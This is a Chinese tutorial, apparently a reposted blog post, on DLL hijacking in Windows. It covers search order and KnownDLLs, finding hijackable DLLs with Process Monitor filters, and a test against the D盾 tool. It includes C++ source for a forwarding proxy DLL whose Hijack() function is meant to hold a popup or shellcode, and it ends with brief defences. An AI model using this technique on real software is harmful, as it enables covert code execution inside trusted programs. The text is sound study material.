0x01 dll简介

在Windows系统中,为了节省内存和实现代码重用,微软在Windows操作系统中实现了一种共享函数库的方式。这就是DLL(Dynamic Link Library),即动态链接库,这种库包含了可由多个程序同时使用的代码和数据。

每个DLL都有一个入口函数(DLLMain),系统在特定环境下会调用DLLMain。在下面的事件发生时就会调用dll的入口函数:

dll路径搜索规则

但是很多情况下,开发人员都是使用了相对路径来进行DLL的加载。那么,在这种情况下,Windows系统会按照特定的顺序去搜索一些目录,来确定DLL的完整路径。关于动态链接库的搜索顺序的更多详细资料请参阅MSDN。根据MSDN文档的约定,在使用了DLL的相对路径调用LoadLibrary函数时,系统会依次从下面几个位置去查找所需要调用的DLL文件。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

当SafeDllSearchMode的值设置为1,即安全DLL搜索模式开启时,查找DLL的目录顺序如下:

在win7以上版本

微软为了更进一步的防御系统的DLL被劫持,将一些容易被劫持的系统DLL写进了一个注册表项中,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用。注册表路径如下:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

以前经常使用的一些劫持DLL已经被加入了KnownDLLs注册表项,这就意味着使用诸如usp10.dll,lpk.dll,ws2_32.dll去进行DLL劫持已经失效了。

所以在win7及以上当启用了SafeDllSearchMode搜索顺序如下

在上述描述加载DLL的整个过程中,DLL劫持漏洞就是在系统进行安装“DLL路径搜索目录顺序”搜索DLL的时候发生的。

无论安全DLL搜索模式是否开启,系统总是首先会从应用程序(程序安装目录)所在目录加载DLL,如果没有找到就按照上面的顺序依次进行搜索。那么,利用这个特性,攻击者就可以伪造一个相同名称的dll,只要这个dll不在KnownDLLs注册表项中,我们就可以对该dll进行劫持测试。

键值

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

win10的如下

dll被占用(日子越来越有判头了)(1)

0x02 寻找可劫持dll

有很多软件可以查看exe加载的dll

process-explorer

https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer

dll被占用(日子越来越有判头了)(2)

火绒剑

dll被占用(日子越来越有判头了)(3)

Process Monitor

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon

使用的时候可以设置Filter,填入过滤条件,可以帮助排除很多无用的信息

Include the following filters: Operation is CreateFile Operation is LoadImage Path contains .cpl Path contains .dll Path contains .drv Path contains .exe Path contains .ocx Path contains .scr Path contains .sys Exclude the following filters: Process Name is procmon.exe Process Name is Procmon64.exe Process Name is System Operation begins with IRP_MJ_ Operation begins with FASTIO_ Result is SUCCESS Path ends with pagefile.sys

类似下图这种就是该dll在KnownDLLs注册表项里

dll被占用(日子越来越有判头了)(4)

0x03 劫持测试

这里用D盾进行劫持实验

还是先使用Process Explorer

dll被占用(日子越来越有判头了)(5)

可以将这些dll文件与KnownDLLs注册表项里的dll进行比较,找出不在范围内的dll进行劫持测试

当然这里也有偷懒的方法,批量自动化测试

这里ctrl s可以直接保存获取的信息文本,然后再通过正则来提取路径信息,再放到批量验证工具里

dll被占用(日子越来越有判头了)(6)

存在的话就会直接输出结果

dll被占用(日子越来越有判头了)(7)

不存在就会显示no

dll被占用(日子越来越有判头了)(8)

上面显示存在两个dll可能可以劫持 这里直接放一个弹计算器的dll改成WINSTA.dll放到D盾目录下,再运行D盾,成功弹出。

dll被占用(日子越来越有判头了)(9)

0x04 进阶测试

但是这种方法只劫持了加载计算机的函数,原来dll还有很多其他的导出函数,这样直接劫持可能会导致程序无法正常启动。

所以一般会制作一个相同名称,相同导出函数表的一个“假”DLL,并将每个导出函数转向到“真”DLL。将这个“假”DLL放到程序的目录下,当程序调用DLL中的函数时就会首先加载“假”DLL,在“假”DLL中攻击者已经加入了恶意代码,这时这些恶意代码就会被执行,之后,“假”DLL再将DLL调用流程转向“真”DLL,以免影响程序的正常执行。

这里我们制作一个弹窗的dll来进行测试,

1.首先使用VS2019新建一个DLL项目

dll被占用(日子越来越有判头了)(10)

2.在生成的dllmain.cpp下添加

Bash

void msg() { MessageBox(0, L"Dll-1 load succeed!", L"Good", 0); }

3.然后再在头文件下的framework.h文件内添加下面代码来编译导出dll文件

Bash

#pragma once #define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容 // Windows 头文件 #include <windows.h> extern "C" __declspec(dllexport) void msg(void);

然后编译生成Dll1.dll

dll被占用(日子越来越有判头了)(11)

再新建一个C 项目,填入如下代码

dll被占用(日子越来越有判头了)(12)

Go

#include <iostream> #include <Windows.h> using namespace std; int main() { // 定义一个函数类DLLFUNC typedef void(*DLLFUNC)(void); DLLFUNC GetDllfunc = NULL; // 指定动态加载dll库 HINSTANCE hinst = LoadLibrary(L"Dll1.dll");//要加载的DLL if (hinst != NULL) { // 获取函数位置 GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");//函数名 } if (GetDllfunc != NULL) { //运行msg函数 (*GetDllfunc)(); } }

想了解dll编写细节的可以看这里 再次生成解决方案,然后将之前生成的Dll1.dll放到生成的Meg.exe同目录下,运行Meg.exe

dll被占用(日子越来越有判头了)(13)

成功弹窗 这里我们用之前转发劫持dll的思路,来试验一下 这里我用脚本一键生成用来劫持的dll

dll被占用(日子越来越有判头了)(14)

这是默认生成的

Bash

# include "pch.h" # define EXTERNC extern "C" # define NAKED __declspec(naked) # define EXPORT EXTERNC __declspec(dllexport) # define ALCPP EXPORT NAKED # define ALSTD EXTERNC EXPORT NAKED void __stdcall # define ALCFAST EXTERNC EXPORT NAKED void __fastcall # define ALCDECL EXTERNC NAKED void __cdecl EXTERNC { FARPROC Hijack_msg; } namespace DLLHijacker { HMODULE m_hModule = NULL; DWORD m_dwReturn[17] = {0}; inline BOOL WINAPI Load() { TCHAR tzPath[MAX_PATH]; lstrcpy(tzPath, TEXT("Dll1")); m_hModule = LoadLibrary(tzPath); if (m_hModule == NULL) return FALSE; return (m_hModule != NULL); } FARPROC WINAPI GetAddress(PCSTR pszProcName) { FARPROC fpAddress; CHAR szProcName[16]; fpAddress = GetProcAddress(m_hModule, pszProcName); if (fpAddress == NULL) { if (HIWORD(pszProcName) == 0) { wsprintf((LPWSTR)szProcName, L"%d", pszProcName); pszProcName = szProcName; } ExitProcess(-2); } return fpAddress; } } using namespace DLLHijacker; VOID Hijack() //default open a calc.//添加自己的代码 { } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { DisableThreadLibraryCalls(hModule); if(Load()) { Hijack_msg = GetAddress("msg"); Hijack(); } } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }

在编译生成新的dll前要注意在代码这一行,将Dll1改为Dll2.dll

Bash

lstrcpy(tzPath, TEXT("Dll2.dll"));

然后在代码这一行添加弹窗或者执行shellcode

Go

VOID Hijack() //default open a calc. { MessageBoxW(NULL, L"DLL Hijack! by DLLHijacker", L":)", 0); }

然后编译生成 再将我们之前生成的Dll1.dll改为Dll2.dll,将两个Dll和Meg.exe放在同一个目录下

dll被占用(日子越来越有判头了)(15)

运行Meg.exe这时候应该会有两个弹窗

dll被占用(日子越来越有判头了)(16)

可以看到是先劫持DLL添加的弹窗,再弹出DLL原本的弹窗

0x05 防御

通用免疫方案: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs]在此注册表项下定义一个“已知DLL名称”,那么凡是此项下的DLL文件就会被禁止从EXE自身目录下调用,而只能从系统目录,也就是system32目录下调用。据此可以写一个简单的DLL劫持免疫器 或者可以在加载dll是检测MD5和大小,来防御.

dll被占用(日子越来越有判头了)(17)

,